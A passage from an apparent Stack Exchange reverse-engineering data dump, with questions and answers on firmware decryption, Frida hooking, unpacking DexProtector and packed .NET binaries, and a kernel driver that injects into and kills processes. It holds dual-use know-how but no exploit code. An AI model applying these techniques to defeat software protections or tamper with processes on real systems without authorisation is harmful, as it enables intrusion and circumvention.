%(*.1499AEI&#xA;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM&#xA;  !!&quot;&quot;##$$%%&amp;amp;&amp;amp;''(())**++,,--..//011223344556778899:;;&amp;lt;&amp;lt;==&amp;gt;??@@ABBCCDEEFFGHHIJJKKLMMNOOPQQRSSTUUVWWXYYZ[[\]^^_``abccdeffghiijkllmnoopqr&#xA;Fsstuvwwxyz{||}~&#xA;System Timer Thread&#xA;../../Sources/Infra/Src/fsmI&#xA;../../Sources/Hal/Src/UartRx.c&#xA;../../Sources/Ltec/Src/LtecCtrl.c&#xA;../../Sources/Ltec/Src/LtecPm.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and hexdump makes no sense to me&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;link: &lt;a href=&quot;https://pan.baidu.com/s/171j47ZRdwClu7NwNYRR1kA&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pan.baidu.com/s/171j47ZRdwClu7NwNYRR1kA&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;password: tffp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also there's no luck by running &lt;code&gt;binwalk&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;528028        0x80E9C         Copyright string: &quot;Copyright (c) 1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/intel/ibt-12-16.sfi&quot; rel=&quot;nofollow noreferrer&quot;&gt;ibt-12-16.sfi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/intel/ibt-12-16.ddc&quot; rel=&quot;nofollow noreferrer&quot;&gt;ibt-12-16.ddc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional Details:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ibt-12-16.ddc &amp;amp; ibt-12-16.sfi are loaded in &lt;a href=&quot;https://git.lxch.eu/git/mirror_ubuntu-artful-kernel/blob/master/drivers/bluetooth/btintel.c#L578&quot; rel=&quot;nofollow noreferrer&quot;&gt;L578&lt;/a&gt; in btintel.c &lt;/p&gt;&#xA;" OwnerUserId="27858" LastEditorUserId="27858" LastEditDate="2019-03-20T07:24:17.420" LastActivityDate="2020-04-14T10:39:31.957" Title="Decrypt ibt.sfi linux firmware(Intel Wireless 8265 Linux Bluetooth)" Tags="|firmware|linux|decryption|bluetooth|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20930" PostTypeId="2" ParentId="14596" CreationDate="2019-03-20T10:47:42.810" Score="4" Body="&lt;p&gt;To clarify this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C-Sky CPU's are a 16/32 bit variable length instruction set ISA in SoC &amp;amp; PoC packages, that appear to be MIPS-like, that can be switched to execute code in big or little endian. The CK610M is a v1 ISA, which has the MMU, so it is able to run Linux, which contains support as of v4.19.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently (since October 2018) a $6US C-Sky Development SBC's supporting the CK610M in the gx6605s SoC package produced by NationalChip. QEMU supports boot C-SKY v1 &amp;amp; v2 ISA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://c-sky.github.io/docs/gx6605s.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://c-sky.github.io/docs/gx6605s.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27865" LastEditorUserId="27865" LastEditDate="2019-03-20T10:54:05.570" LastActivityDate="2019-03-20T10:54:05.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20932" PostTypeId="1" AcceptedAnswerId="20934" CreationDate="2019-03-20T14:59:10.430" Score="8" ViewCount="1482" Body="&lt;p&gt;I've got a driver that tamper user-space processes by sending APC calls upon process start using the call &lt;code&gt;PsSetCreateProcessNotifyRoutine&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to avoid tampering with any process that is critical for the OS stability, since my APC also eventually decides to kill the process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've used &lt;code&gt;PsIsProtectedProcess&lt;/code&gt; and &lt;code&gt;PsIsProtectedProcessLight&lt;/code&gt; in order to detect protected processes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it appears that there are some processes such as &lt;code&gt;smss.exe&lt;/code&gt; and &lt;code&gt;crss.exe&lt;/code&gt; and &lt;code&gt;wininit.exe&lt;/code&gt; that are defined as critical processes and I also wish to avoid them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps anybody knows that difference between protected and critical process, and how can I detect critical process programmatically  from kernel-mode (maybe it has ad-hoc field in EPROCESS ? ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&lt;/p&gt;&#xA;" OwnerUserId="27855" LastActivityDate="2019-03-20T18:30:57.843" Title="Detecting protected processes and critical processes from windows driver" Tags="|windows|windbg|process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20933" PostTypeId="1" CreationDate="2019-03-20T17:00:38.820" Score="0" ViewCount="718" Body="&lt;p&gt;I got the following disassembly code in IDA pro. I really find it hard to convert it into pseudo code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;sub esp, 14h&#xA;mov dword ptr [ebp-14h], 1&#xA;mov dword ptr [ebp-10h], 2&#xA;mov dword ptr [ebp-0Ch], 3&#xA;mov dword ptr [ebp-4], 0&#xA;&#xA;loc_401022:&#xA; cmp dword ptr [ebp-4], 3&#xA; jge loc_40103D&#xA; mov eax, [ebp-4]&#xA; mov ecx, [ebp+eax*4-14h]&#xA; mov [ebp-8], ecx&#xA; mov edx, [ebp-4]&#xA; add edx, 1&#xA; mov [ebp-4], edx&#xA; jmp loc_401022&#xA;&#xA;loc_40103D:&#xA; xor eax, eax&#xA; mov esp, ebp&#xA; pop ebp&#xA; ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27869" LastEditorUserId="20461" LastEditDate="2019-03-20T18:12:43.037" LastActivityDate="2023-12-22T19:06:35.793" Title="How can I convert the following assembly code to pseudo code?" Tags="|disassembly|x86|decompilation|c|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20934" PostTypeId="2" ParentId="20932" CreationDate="2019-03-20T18:12:46.480" Score="6" Body="&lt;p&gt;It seems the correct term is &lt;em&gt;Critical System Service&lt;/em&gt;. There are &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/rstmgr/critical-system-services&quot; rel=&quot;noreferrer&quot;&gt;API from userland&lt;/a&gt; but I can't find anything for the kernel. So I took a quick look into the RstrtMgr.dll and it seems the list is actually hardcoded...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the processes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system32\csrss.exe&lt;/li&gt;&#xA;&lt;li&gt;system32\smss.exe&lt;/li&gt;&#xA;&lt;li&gt;system32\lsass.exe&lt;/li&gt;&#xA;&lt;li&gt;system32\wininit.exe&lt;/li&gt;&#xA;&lt;li&gt;system32\logonui.exe&lt;/li&gt;&#xA;&lt;li&gt;system32\services.exe&lt;/li&gt;&#xA;&lt;li&gt;system32\winlogon.exe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the services (specific case for svchost.exe):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BrokerInfrastructure&lt;/li&gt;&#xA;&lt;li&gt;DcomLaunch&lt;/li&gt;&#xA;&lt;li&gt;LSM&lt;/li&gt;&#xA;&lt;li&gt;Power&lt;/li&gt;&#xA;&lt;li&gt;RpcEptMapper&lt;/li&gt;&#xA;&lt;li&gt;RpcSs&lt;/li&gt;&#xA;&lt;li&gt;SamSs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is probably another way to achieve that. After all, Windows BSOD if one of these processes is killed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: It seems &lt;code&gt;nt!EPROCESS::BreakOnTermination&lt;/code&gt; is what you're looking for.&#xA;The &lt;em&gt;real&lt;/em&gt; field is &lt;code&gt;nt!EPROCESS::Flags&lt;/code&gt; and the mask 0x2000.&#xA;If this bit is set, &lt;code&gt;PspExitThread&lt;/code&gt; will BSOD with &lt;code&gt;CRITICAL_PROCESS_DIED&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastEditorUserId="26176" LastEditDate="2019-03-20T18:30:57.843" LastActivityDate="2019-03-20T18:30:57.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20935" PostTypeId="1" AcceptedAnswerId="20936" CreationDate="2019-03-20T21:57:53.043" Score="1" ViewCount="345" Body="&lt;p&gt;I'm reversing a CTF binary and I found a decryption loop decompiled by IDA like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ( i = 0; i &amp;lt; n; ++i )&#xA;  {&#xA;    v22 = *((_BYTE *)sub_5657D89B + i);&#xA;    v0 = v22 ^ 0x90;&#xA;    v1 = strlen(&amp;amp;s);&#xA;    *((_BYTE *)src + i) = *(&amp;amp;s + i % v1) ^ v0;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variable &lt;code&gt;&amp;amp;s&lt;/code&gt; is pointing to the stack with these other bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  s = 0xF9u;&#xA;  v4 = 0xFCu;&#xA;  v5 = 0xFFu;&#xA;  v6 = 0xE6u;&#xA;  v7 = 0xF5u;&#xA;  v8 = 0xE0u;&#xA;  v9 = 0xF1u;&#xA;  v10 = 0xF3u;&#xA;  v11 = 0xFBu;&#xA;  v12 = 0xF9u;&#xA;  v13 = 0xFEu;&#xA;  v14 = 0xF7u;&#xA;  v15 = 0xFDu;&#xA;  v16 = 0xE9u;&#xA;  v17 = 0xF3u;&#xA;  v18 = 0xFFu;&#xA;  v19 = 0xF4u;&#xA;  v20 = 0xF5u;&#xA;  v21 = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really don't get the purpose of the division with v1 here: &lt;code&gt;*(&amp;amp;s + i % v1)&lt;/code&gt;. The variable n is equal to 0x140. &lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2019-03-20T22:28:27.093" Title="Decryption loops" Tags="|binary-analysis|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20936" PostTypeId="2" ParentId="20935" CreationDate="2019-03-20T22:28:27.093" Score="4" Body="&lt;p&gt;Basically, it just to wrap the index at the length of the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In C it looks like something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;src[i] = s[i % strlen(s)] ^ v0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For instance, if the &lt;code&gt;s&lt;/code&gt; is &quot;ABCD&quot;, &lt;code&gt;strlen(s)&lt;/code&gt; is 4. When &lt;code&gt;i&lt;/code&gt; is equal to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4, &lt;code&gt;4 % 4 == 0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;5, &lt;code&gt;5 % 4 == 1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;and so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-20T22:28:27.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20938" PostTypeId="1" CreationDate="2019-03-21T20:23:11.693" Score="1" ViewCount="727" Body="&lt;p&gt;I have unpacked a firmware binary using binwalk and have identified the architecture as MIPS by running &lt;em&gt;file bin/busybox&lt;/em&gt; . When I try to run the binary with the proper static version of qemu, i get an error with FPU mode ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; chroot . ./qemu-mips-static bin/busybox&#xA; qemu: Unexpected FPU mode &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find anything on this error.  I have tried this on several different firmwares and i keep getting the same error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OS is Kali linux with qemu-user-static installed and the qemu-mips-static static binary place in the root directory of the unpacked firmware.&lt;/p&gt;&#xA;" OwnerUserId="17076" LastActivityDate="2020-05-22T02:01:50.187" Title="QEMU fpu mode error when attempting to run MIPS binary" Tags="|firmware|qemu|emulation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20939" PostTypeId="2" ParentId="20938" CreationDate="2019-03-21T21:01:07.343" Score="2" Body="&lt;p&gt;According to the &lt;a href=&quot;https://github.com/qemu/qemu/blob/0266c739abbed804deabb4ccde2aa449466ac3b4/linux-user/mips/cpu_loop.c#L703&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt;, the EABI from your ELF is not compatible. It seems to be specific to MIPS, you can find the structure &lt;a href=&quot;https://github.com/qemu/qemu/blob/b98a66201dbc7cf3b962f4bb260f66100cc75578/include/elf.h#L101&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, this structure is stored inside a specific ELF segment, the code in charge to read it is &lt;a href=&quot;https://github.com/qemu/qemu/blob/c4e0780ed1ffd056f205348d387a61b4136a45df/linux-user/elfload.c#L2431&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I suggest you to make sure this segment is present and if it contains correct values. I think you can dump this information with &lt;code&gt;readelf(1)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-21T21:01:07.343" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20941" PostTypeId="1" AcceptedAnswerId="20952" CreationDate="2019-03-22T12:51:00.697" Score="4" ViewCount="2926" Body="&lt;p&gt;Currently, I'm using &lt;strong&gt;lipo&lt;/strong&gt; tool to extract the arch type from a fat iOS binary on a Mac OS. Now, I want to do the same on the &lt;strong&gt;linux&lt;/strong&gt; &lt;strong&gt;platform&lt;/strong&gt; &lt;strong&gt;for the&lt;/strong&gt; &lt;strong&gt;iOS&lt;/strong&gt; &lt;strong&gt;binaries&lt;/strong&gt;, i.e. extract a given arch type from a fat iOS binary on a linux platform. However, lipo support is not available on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions how can I achieve the same? Any alternate of lipo for linux which does the same?&lt;/p&gt;&#xA;" OwnerUserId="20651" LastActivityDate="2019-03-24T12:36:03.807" Title="Lipo alternate for linux" Tags="|linux|tools|binary|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20942" PostTypeId="1" CreationDate="2019-03-22T15:58:52.620" Score="1" ViewCount="1215" Body="&lt;p&gt;I'm trying to reverse engineering an android app and it's mostly for an experiment but I have a problem that I can't find a solution or even what is the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decompiled an app with JADX-gui and the whole app only have a single class named &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public class ProtectedMyApplication extends Application&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and its a really large file and my IDE can't open it well but on this class file there is a byte[] with almost 2000 lines of bytes I can't find any other classes but in the manifest file I can see the other classes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my questions are :&#xA;what is this method? and how can I study it? and is there a way to see the original smali or java code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;app is using Dexprotecter I think and I watched the changing files and when I start the app there is two folders that will be modify one of them is the encrypted code (a .dat file with a .dex file) and there is another folder named app_outdex and I think this is the decrypted code but I can't catch the file app will remove it immediately is there any way to catch the file? I'm really so dumb in the Linux&lt;/p&gt;&#xA;" OwnerUserId="27450" LastEditorUserId="27450" LastEditDate="2019-03-25T21:41:34.267" LastActivityDate="2019-03-25T21:41:34.267" Title="decompiled android application with only one class [DexProtector]" Tags="|android|java|" AnswerCount="0" CommentCount="14" ContentLicense="CC BY-SA 4.0" />
  <row Id="20943" PostTypeId="1" AcceptedAnswerId="20946" CreationDate="2019-03-23T03:38:04.940" Score="0" ViewCount="1140" Body="&lt;p&gt;It needs to work even on older versions of android (3.x and above) specifically the old Sony &quot;PS Certified&quot; devices, the device im working with (Sony Tablet S) i have seen reports online that installing the xposed framework will brick the device however you CAN get root &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any other way to hook native functions on android? &lt;/p&gt;&#xA;" OwnerUserId="27893" LastActivityDate="2019-03-23T19:09:15.803" Title="Android how can i hook native exported functions from a shared library *.so?" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20944" PostTypeId="2" ParentId="85" CreationDate="2019-03-23T07:37:10.040" Score="1" Body="&lt;p&gt;RapidSmith does that for you. &lt;a href=&quot;http://rapidsmith.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://rapidsmith.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a paper that you can read as the starting point: &quot;Recent Advances in FPGA Reverse Engineering&quot; Hoyoung Yu, Hansol Lee, Sangil Lee , Youngmin Kim  and Hyung-Min Lee&lt;/p&gt;&#xA;" OwnerUserId="27898" LastActivityDate="2019-03-23T07:37:10.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20945" PostTypeId="1" CreationDate="2019-03-23T09:08:57.853" Score="1" ViewCount="116" Body="&lt;p&gt;I have a Suse enterprise server 10 on VMWare. I want to remote debug an application in this VM using IDA pro, I already tried these:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copied linux_server form IDApro into this VM and tried to run it, but it gives this error: linux_server : /lib/libc.so.6 : version 'GLIBC_2.7' not foundn (required by ./linux_server)&lt;/li&gt;&#xA;&lt;li&gt;Downloaded and extracted glibc2.7 near linux_server and modified Library search path (environment value) and then tried to run linux_server, but it failed with another error.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think the problem is that linux_server has been compiled using newer versions of glibc, but that version of suse is using older versions.&#xA;so I think the question is: How can I remote debug an application in old-linux machines? Is there exists an older version of debugger that runs is such scenarios?&lt;/p&gt;&#xA;" OwnerUserId="27899" LastActivityDate="2019-03-23T09:08:57.853" Title="IDA Pro - Remote debugging suse enterpris server 10 (glibc2_10 required)" Tags="|ida|debugging|debuggers|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20946" PostTypeId="2" ParentId="20943" CreationDate="2019-03-23T19:09:15.803" Score="1" Body="&lt;p&gt;I would suggest using Frida framework for that purpose - &lt;a href=&quot;https://www.frida.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;. In short, it will enable you to hook native/Dalvik routines on rooted/non-rooted devices and write hook logic in JS. The framework also has python bindings which can provide means for automation. Following is a short explanation about the usage flow for analysis of APK file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rooted device:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there is a great quick start guide on the Frida's site - &lt;a href=&quot;https://www.frida.re/docs/android/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.notsosecure.com/instrumenting-native-android-functions-using-frida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; is an example of hooking native function for a running APK file, but you can also use the framework to analyze arbitrary native executable which you can attach to or spawn a new process.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Not-rooted device:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in that case you will need to re-package APK and include server library to it. &lt;a href=&quot;https://koz.io/using-frida-on-android-without-root/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is a good example how to do it.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The framework is in active development and cross-platform/arch supported. If more granular control is needed, you can even develop lower-level apps (e.g. in C) against it's API library.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2019-03-23T19:09:15.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20947" PostTypeId="2" ParentId="20933" CreationDate="2019-03-23T19:20:55.600" Score="1" Body="&lt;p&gt;I'll only add you some comments to make it easier for you to solve it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;&#xA;// Reserve space for local variables on the stack - in your case is array&#xA;sub esp, 14h&#xA;// Initialize local variables - local array&#xA;mov dword ptr [ebp-14h], 1&#xA;mov dword ptr [ebp-10h], 2&#xA;mov dword ptr [ebp-0Ch], 3&#xA;mov dword ptr [ebp-4], 0&#xA;&#xA;// We have a loop here&#xA;loc_401022:&#xA; cmp dword ptr [ebp-4], 3     // Index variable&#xA; jge loc_40103D               // Exit from the loop&#xA;&#xA;// Think what is happening here :-)&#xA; mov eax, [ebp-4]&#xA; mov ecx, [ebp+eax*4-14h]&#xA; mov [ebp-8], ecx&#xA;&#xA;// Update the index variable&#xA; mov edx, [ebp-4]&#xA; add edx, 1&#xA; mov [ebp-4], edx&#xA; jmp loc_401022&#xA;&#xA;// Function ending&#xA;loc_40103D:&#xA; xor eax, eax&#xA; mov esp, ebp&#xA; pop ebp&#xA; ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2019-03-23T19:20:55.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20948" PostTypeId="2" ParentId="20865" CreationDate="2019-03-23T19:39:24.750" Score="1" Body="&lt;p&gt;There are plenty examples of using Frida on Windows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://vicarius.io/blog/wtf-is-frida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows example&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Huge collection of Awesome Frida links - &lt;a href=&quot;https://github.com/dweinstein/awesome-frida/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bachs.tistory.com/entry/Windows-HookingFrida&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows example 2&lt;/a&gt; in Chinese so use Google Translate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To your question, the general idea behind Frida is the same regardless of the platform where you have to make yourself familiar with &lt;a href=&quot;https://www.frida.re/docs/javascript-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida API&lt;/a&gt; and write scripts to analyzed hooked functions according to a platform you are working on. For the most part you will be fine using JS based API which enables to call native functions of a particular platform. @Iddo example demonstrates it. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2019-03-23T19:39:24.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20949" PostTypeId="2" ParentId="19938" CreationDate="2019-03-23T23:41:36.760" Score="5" Body="&lt;p&gt;OK, I think I got it. The tool I needed was &lt;code&gt;MegaDumper&lt;/code&gt;. (I couldn't find the executable on &lt;a href=&quot;https://github.com/CodeCracker-Tools/MegaDumper&quot; rel=&quot;noreferrer&quot;&gt;its Github&lt;/a&gt;, so I had to &lt;a href=&quot;https://mega.nz/#!zfA10aRB!4_LE2_fyCviYALiyEOFCx9uAW6kqeG96CcnXhm9qxXk&quot; rel=&quot;noreferrer&quot;&gt;build it&lt;/a&gt; myself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then here's the steps how I used it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;(I'm obviously doing all this in a VM.) Start up packed executable and let it unpack itself. (In my case it was a GUI app so it continued running.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start up MegaDumper and locate the .NET process in the list (at this point it is already unpacked in memory).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right-click it and pick &lt;code&gt;.NET dump&lt;/code&gt;, wait for a little bit and it will create a folder in the same location with the dumped .NET files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Afz46.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Afz46.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then simply open the .exe from the dumped folder in &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;dnSpy&lt;/code&gt;&lt;/a&gt; and it will be able to disassemble it as normal, so you can place breakpoints and debug it:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MrLUV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MrLUV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Lastly, just want to say that, from a quick glance, the packed .NET executable in question does not appear to be malicious. The &lt;a href=&quot;https://www.virustotal.com/#/file/48a3b7e0e92970ee2aff07f30f37e813be7c73c1595648bb68c7bb0b36b40fc7/detection&quot; rel=&quot;noreferrer&quot;&gt;reports&lt;/a&gt; by multiple AVs were probably caused by the use of the Russian packer. So, this might be a clue to developers who decide to pack their legitimate software. (Just saying...)&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2019-03-23T23:41:36.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20950" PostTypeId="1" CreationDate="2019-03-24T09:32:54.103" Score="10" ViewCount="7588" Body="&lt;p&gt;I've been trying to learn &lt;a href=&quot;https://www.nsa.gov/resources/everyone/ghidra/&quot; rel=&quot;noreferrer&quot;&gt;Ghidra&lt;/a&gt; by attempting to reverse the &lt;code&gt;comctl32.dll&lt;/code&gt; system library, which has many of its functions documented. I started the de-compilation analysis in it, and after a while it showed this error message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I don't know how soon it happened. I had to leave it to do its thing as sadly it was taking too long.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EI2Qz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EI2Qz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I happened to see that if I go to File -&gt; Download PDB file, then select some folder on my drive and provide Microsoft symbol path &lt;code&gt;https://msdl.microsoft.com/download/symbols&lt;/code&gt; and click &lt;code&gt;&quot;Download from URL&quot;&lt;/code&gt; it seems to download it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then asks if I want to apply it to the project and if I click &lt;code&gt;Yes&lt;/code&gt; it shows this warning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BwVGO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BwVGO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm obviously not doing it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus I was curious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) Is it possible to provide the symbol server path and have it download needed symbol files automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) If not, what's the sequence to load symbols for a particular binary? It seems like it wants to have symbols up front, but how would I know which files/imports it may need (besides the obvious binary file that I'm opening)?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2019-12-22T09:02:30.330" Title="How to load symbols from a symbol server in Ghidra?" Tags="|disassembly|windows|binary-analysis|decompilation|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
